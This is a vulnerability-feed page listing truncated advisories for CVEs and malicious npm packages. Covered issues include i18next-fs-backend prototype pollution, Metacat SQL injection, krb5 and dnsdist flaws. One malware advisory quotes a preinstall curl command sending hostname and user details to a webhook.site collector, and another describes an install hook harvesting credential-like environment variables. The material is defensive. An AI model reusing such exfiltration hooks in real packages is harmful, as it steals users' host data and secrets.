CVE-2026-54274 vulnerabilities

Vulnerabilities for packages: airflow, apache-beam-python-3.11-sdk, authentik, apache-beam-python-3.12-sdk, metaflow-service-fips, authentik-fips, text-generation-inference, awx, mlflow, tritonserver-backend-vllm-cuda-13.0, tritonserver-backend-vllm-cuda-12.9, py3-vllm-cuda-12.4, open-webui,...

CVE-2026-54273 vulnerabilities

Vulnerabilities for packages: airflow, apache-beam-python-3.11-sdk, authentik, apache-beam-python-3.12-sdk, metaflow-service-fips, authentik-fips, text-generation-inference, awx, mlflow, tritonserver-backend-vllm-cuda-13.0, tritonserver-backend-vllm-cuda-12.9, py3-vllm-cuda-12.4, open-webui,...

GHSA-G3CQ-J2XW-WF74 vulnerabilities

Vulnerabilities for packages: airflow, apache-beam-python-3.11-sdk, authentik, apache-beam-python-3.12-sdk, metaflow-service-fips, authentik-fips, text-generation-inference, awx, mlflow, tritonserver-backend-vllm-cuda-13.0, tritonserver-backend-vllm-cuda-12.9, py3-vllm-cuda-12.4, open-webui,...

CVE-2026-54278 vulnerabilities

Vulnerabilities for packages: airflow, apache-beam-python-3.11-sdk, authentik, apache-beam-python-3.12-sdk, metaflow-service-fips, authentik-fips, text-generation-inference, awx, mlflow, tritonserver-backend-vllm-cuda-13.0, tritonserver-backend-vllm-cuda-12.9, py3-vllm-cuda-12.4, open-webui,...

GHSA-537C-GMF6-5CCF vulnerabilities

Vulnerabilities for packages: airflow, crossplane-function-pythonic, ggshield, openstack-placement-2025.1, apache-beam-python-3.11-sdk, authentik, datadog-agent, openstack-horizon-2025.2, pgadmin4-fips, openstack-keystone-2026.1, duplicity, apache-beam-python-3.12-sdk, localstack, gitlab-cng-fips...

Authentication Bypass Using an Alternate Path or Channel

Overview Affected versions of this package are vulnerable to Authentication Bypass Using an Alternate Path or Channel in the SNICheck process. An attacker can gain unauthorized access to protected backends by completing a TLS handshake using a permissive SNI and then sending an HTTP Host header...

objdump-dlx-calc-poc

objdump dlx calc poc Small repro for an objdump -g crash-to...

Alibaba Cloud Linux 3 : 0159: poppler (ALINUX3-SA-2026:0159)

The remote Alibaba Cloud Linux 3 host has packages installed that are affected by a vulnerability as referenced in the ALINUX3-SA-2026:0159 advisory. Package updates are available for Alibaba Cloud Linux 3 that fix the following vulnerabilities: CVE-2026-10118: A flaw was found in Poppler's Splas...

Prototype Pollution

Overview i18next-fs-backend is an i18next-fs-backend is a backend layer for i18next using in Node.js and for Deno to load translations from the filesystem. Affected versions of this package are vulnerable to Prototype Pollution via the getLastOfPath method. An attacker can modify global object...

CVE-2026-48713

CVE-2026-48713 affects i18next-fs-backend prior to 2.6.6. The issue arises when crafted missing-key strings are persisted via missingKeyHandler, where Backend.writeFile() splits keys on keySeparator and the path walker could reach Object.prototype (e.g., a key like "proto .polluted"), allowing pr...

CVE-2026-48713 i18next-fs-backend: Prototype pollution via crafted missing-key string

Versions prior to 2.6.6 are vulnerable to prototype pollution via crafted missing-key strings when used to persist missing translation keys e.g. via i18next-http-middleware's missingKeyHandler exposed to untrusted input. Backend.writeFile splits each queued missing-key string on the configured...

CVE-2026-48713 i18next-fs-backend: Prototype pollution via crafted missing-key string

Versions prior to 2.6.6 are vulnerable to prototype pollution via crafted missing-key strings when used to persist missing translation keys e.g. via i18next-http-middleware's missingKeyHandler exposed to untrusted input. Backend.writeFile splits each queued missing-key string on the configured...

MAL-2026-5826 Malicious code in dms-backend (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bd479ea3869dae33e183f9164c4e9c7c11a2170728288012647fe2af4d55426e package.json declares a preinstall lifecycle script that runs curl --data-urlencode "info=$hostname && whoami && pwd" against a webhook.site collecto...

CVE-2026-48114 Metacat has an unauthenticated SQL injection vulnerability

Metacat is data repository software that helps researchers preserve, share, and discover data. Versions 2.0.0 and and above contain an unauthenticated SQL injection in the /harvesterRegistration endpoint. HarvesterRegistration.dbInsert builds an INSERT against HARVESTSITESCHEDULE via string...

Malicious code in portal-backend (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c5aca21d0e952f5ba313432cf5d47e41f185d19e65d894a005cce20be90d4985 On npm install, the package's preinstall hook executes postinstall.js, which enumerates process.env and filters keys matching a broad credential-shap...

PT-2026-49247

Name of the Vulnerable Software and Affected Versions Angular versions prior to 22.0.1 Angular versions prior to 21.2.17 Angular versions prior to 20.3.25 Description Angular supports Hydration via provideClientHydration to optimize client-side bootstrap in Server-Side Rendered SSR environments...

Linux Distros Unpatched Vulnerability : CVE-2026-11850

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - An integer underflow vulnerability was found in MIT krb5 in the berval2tldata function in plugins/kdb/ldap/libkdbldap/ldapprincipal2.c. The function performs an...

Fedora 44 : dnsdist (2026-51cdd1292b)

The remote Fedora 44 host has a package installed that is affected by multiple vulnerabilities as referenced in the FEDORA-2026-51cdd1292b advisory. Bug Fixes: CVE-2026-33254: An attacker can create a large number of concurrent DoQ or DoH3 connections, causing unlimited memory allocation in DNSdi...

CVE-2026-53867

Capgo before 12.128.2 fails to delete previously uploaded profile images from backend storage when users replace or remove them. Attackers can access orphaned image files through previously generated URLs, allowing unauthorized retrieval of user-uploaded content...

CVE-2026-53867

Capgo before 12.128.2 does not delete previously uploaded profile images, leaving orphaned files accessible via previously generated URLs, enabling unauthorized retrieval of user-uploaded content. This affects Capgo's backend storage handling when users replace or remove images. The CVE notes MED...